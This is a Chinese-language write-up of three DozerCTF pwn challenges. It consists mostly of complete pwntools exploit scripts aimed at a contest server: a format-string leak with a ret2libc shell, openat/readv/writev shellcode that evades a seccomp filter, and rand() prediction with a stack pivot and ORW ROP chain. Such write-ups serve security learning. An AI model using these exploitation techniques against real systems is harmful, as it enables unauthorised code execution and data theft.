DozerCTF-PWN題解

Anike發表於2024-04-28

這次比賽一共放了4道pwn題,3道棧上的,比較菜,只會做棧

1.pwn_fclose

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote('139.196.237.232',32985)
# io = process("./pwn")
libc = ELF("./libc.so.6")
payload = b"%35$p%37$p"
io.sendline(payload)
io.recvuntil(b"Hello ")
canary = int(io.recv(18), 16)
libc_base = int(io.recv(14), 16) - 0x21C87
print(f"libc_base: {hex(libc_base)}")
system = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base + 0x2164f
ret = libc_base + 0x8aa
payload = b"a" * 0xc8 + p64(canary) + b"a" * 8 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
# gdb.attach(io)
io.sendline(payload)
io.interactive()

開了canary和PIE,並且最後clode(1),clode(2)。不過問題不大,printf格式化字串,洩露canary和libc地址,然後直接棧溢位getshell即可,注意棧平衡。後面就是執行exec 1>&0,就能拿flag了

2.mid_pwn

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./pwn")

# openat
shellcode_openat=asm(shellcraft.openat(-100,'./flag'))

shellcode = b"\x90" * 544 + shellcode_openat + asm('''
push 3
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    push SYS_readv
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
''')

# 執行shellcode
# p = process('./pwn')
p = remote("139.196.237.232", 33035)
# gdb.attach(p)
p.sendline(shellcode)
p.interactive()

禁用了open,read,write和其他特殊函式,例如sendfile之類,所以用openat,readv和writev讀取,read到棧上讀,不過它生成一個隨機數再mod544,所以用nop滑板填充544位元組即可
3.ez_pwn(我最想吐槽的

from pwn import *
from ctypes import *
io = remote("139.196.237.232", 33010)
# io = process("./pwn")
context(log_level='debug', arch='amd64', os='linux')
libc1 = CDLL("./libc.so.6")
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
time = libc1.time(0)
pop_rdi = 0x4014d3
pop_rsi_r15 = 0x4014d1
ret = 0x401467
leave = 0x401341
libc1.srand(time)
v4 = libc1.rand()
io.send(b"1" * 0x20)
payload = str(v4).encode()
print(v4)
bss = elf.bss() + 0x200
io.sendline(payload)
# gdb.attach(io)
payload = (b"a" * 0x30 + p64(bss - 0x8) + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(pop_rdi) + p64(bss)
           + p64(pop_rsi_r15) + p64(0x300) + p64(0) + p64(0x4012F2) + p64(leave))
io.sendline(payload)
io.recvuntil(b"~~\n")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
# puts_addr=u64(io.recv(14).rjust(8,b'\x00'))
# puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# io.clean()

pause()
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print(f"libc_base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
binsh=libc_base + next(libc.search(b"/bin/sh"))
pop_rsi_ret = libc_base + 0x2601f
pop_rax_ret = libc_base + 0x36174
pop_rdx_r12_ret = libc_base + 0x119431
one_gadget = libc_base + 0xe3b04
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]

payload = p64(pop_rdi)
payload += p64(bss + 0x128)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(0x404140)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x100)
payload += p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(0x404140)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x100)
payload += p64(0)
payload += p64(write_addr)
payload += p64(0)*16
payload += b"./flag\x00\x00"
io.send(payload)
io.interactive()

這道題利用了libc的隨機數,然後相等能讓你進行一次read的溢位獲取libc基地址,然後我試過填read的返回地址,結果因為read函式寫的地址是由rbp-0x30所決定的,失敗了,然後填start重新佈局暫存器,卻因為無法再次繞過隨機數而無法進入棧溢位,然後發現有一個隱藏函式,裡面有read,而且我們可以操控它的暫存器的值,所以就想用棧遷移來getshell,結果又不能執行system函式拿到shell,。。。好吧,只能上orw了。感覺這比前面的題難,為什麼是ez,難道是我想複雜了??

第4道題目寫的VM,不太瞭解